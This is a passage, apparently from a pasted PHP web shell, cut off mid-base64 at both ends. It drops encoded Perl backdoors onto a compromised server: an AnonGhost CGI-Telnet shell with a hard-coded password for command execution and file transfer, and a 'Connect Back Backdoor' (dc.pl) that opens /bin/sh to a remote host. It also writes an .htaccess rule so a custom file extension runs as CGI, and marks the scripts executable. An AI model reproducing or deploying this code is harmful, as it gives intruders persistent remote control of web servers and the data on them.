oZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
  39.     $file = fopen("izo.cin" ,"w+"); $write = fwrite ($file ,base64_decode($cgishellizocin)); fclose($file); chmod("izo.cin",0755); $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
  40.     MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
  41.     ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
  42.     MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
  43.     ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
  44.     MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
  45.     Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
  46.     KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
  47.     SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
  48.     ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
  49.     UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
  50.     VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
  51.     ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
  52.     JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
  53.     bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
  54.     ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
  55.     YXRhY2hlZFxuXG4iOw=='; $file = fopen("dc.pl" ,"w+"); $write = fwrite ($file ,base64_decode($netcatshell)); fclose($file); chmod("dc.pl",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Cgi Telnet.v1 Bypass Exploit</b></p><iframe src=agcgitel/izo.cin width=75% height=60% frameborder=0></iframe>"; } elseif(isset($_GET['cgi14'])) {
  56.         mkdir('agcgi14', 0755);
  57.         chdir('agcgi14');
  58.             $kokdosya = ".htaccess";
  59.             $dosya_adi = "$kokdosya";
  60.             $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  61.             $metin = "AddHandler cgi-script .izo";    
  62.             fwrite ( $dosya , $metin ) ;
  63.             fclose ($dosya);
  64.     $agcgi14 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICM1OEZBRjQ7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGMDAwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI0ZGMDAwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjNThGQUY0OyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICM1OEZBRjQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3Zlc